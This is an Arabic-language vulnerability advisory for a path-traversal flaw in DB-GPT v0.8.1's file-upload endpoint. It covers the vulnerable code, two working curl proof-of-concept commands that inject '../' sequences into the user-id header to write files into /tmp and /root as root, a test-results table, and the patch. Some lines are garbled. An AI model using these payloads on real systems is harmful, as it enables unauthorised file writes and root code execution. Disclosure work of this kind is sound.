
CVE-2026-73034 — DB-GPT v0.8.1 اجتياز مسار بدون مصادقة → كتابة ملف اعتباطي بصلاحيات الجذر عبر ترويسة user-id. تم التحقق + فرق الإصلاح
CVSS 9.8 (حرج) · CWE-22 · GHSA/Issue #3104
يأخذ POST /api/v1/python/file/upload في DB-GPT v0.8.1 ترويسة HTTP المسماة user-id ويستخدمها
كخام كأحد مكوّنات المسار:
upload_dir = os.path.join(base_dir, "python_uploads", user_id)
os.makedirs(upload_dir, exist_ok=True)
open(file_path, "wb")
لا يوجد أي مصادقة — وإذا كانت الترويسة غائبة، يتراجع التطبيق إلى user_id="001"
مع role="admin". إن حقن متتاليات ../ في user-id يسمح بالخروج من جذر مجلد الرفع ويتيح
يمكن لعملية الحاوية (الجذر)
الكتابة إليه → مسار تنفيذ تعليمات برمجية مباشر ( في جذر الويب، مهام cron، ، …).
.pyauthorized_keysالمتأثر: DB-GPT ≤ v0.8.1
المُصحَّح: v0.8.2+ — الالتزام e0c741bd2b5e521b128cffb3f68982dde3f7b359 (يضيف قائمة بيضاء
_SAFE_USER_ID_RE بالنمط ^[A-Za-z0-9_\-]+$، وفحوصات احتواء دليل الرفع، وإعادة فحص رابط رمزي TOCTOU).
# كتابة pwned.txt داخل /tmp/pwned/ على الخادم (بصلاحية الجذر)
curl -X POST "http://TARGET/api/v1/python/file/upload" \
-H "user-id: ../../../../tmp/pwned" \
-F "[email protected];filename=pwned.txt"
# الكتابة داخل /root/ (موقع تعسفي)
curl -X POST "http://TARGET/api/v1/python/file/upload" \
-H "user-id: ../../../../root" \
-F "[email protected];filename=pwned_root.txt"
ملاحظة: يقوم FastAPI بتعيين معامل user_id إلى ترويسة HTTP user-id (بواصلة، وليس
بشرطة سفلية).
| الاختبار | النتيجة |
|---|---|
رفع تحكّمي (user-id: alice) | ✅ /app/python_uploads/alice/control.txt |
الاستغلال user-id: ../../../../tmp/pwned | ✅ تمت كتابة /tmp/pwned/pwned.txt (بصلاحية الجذر) |
الاستغلال user-id: ../../../../root | ✅ تمت كتابة /root/pwned_root.txt |
| البنية المُصحَّحة (e0c741bd) | ✅ HTTP 400 Invalid user_id: only alphanumeric characters, underscores and hyphens are allowed |
البرنامج الكامل: poc_cve-2026-73034.sh (يشغّل كلا الاستغلالين + التحقق داخل الحاوية + مقارنة
البنية المُصحَّحة).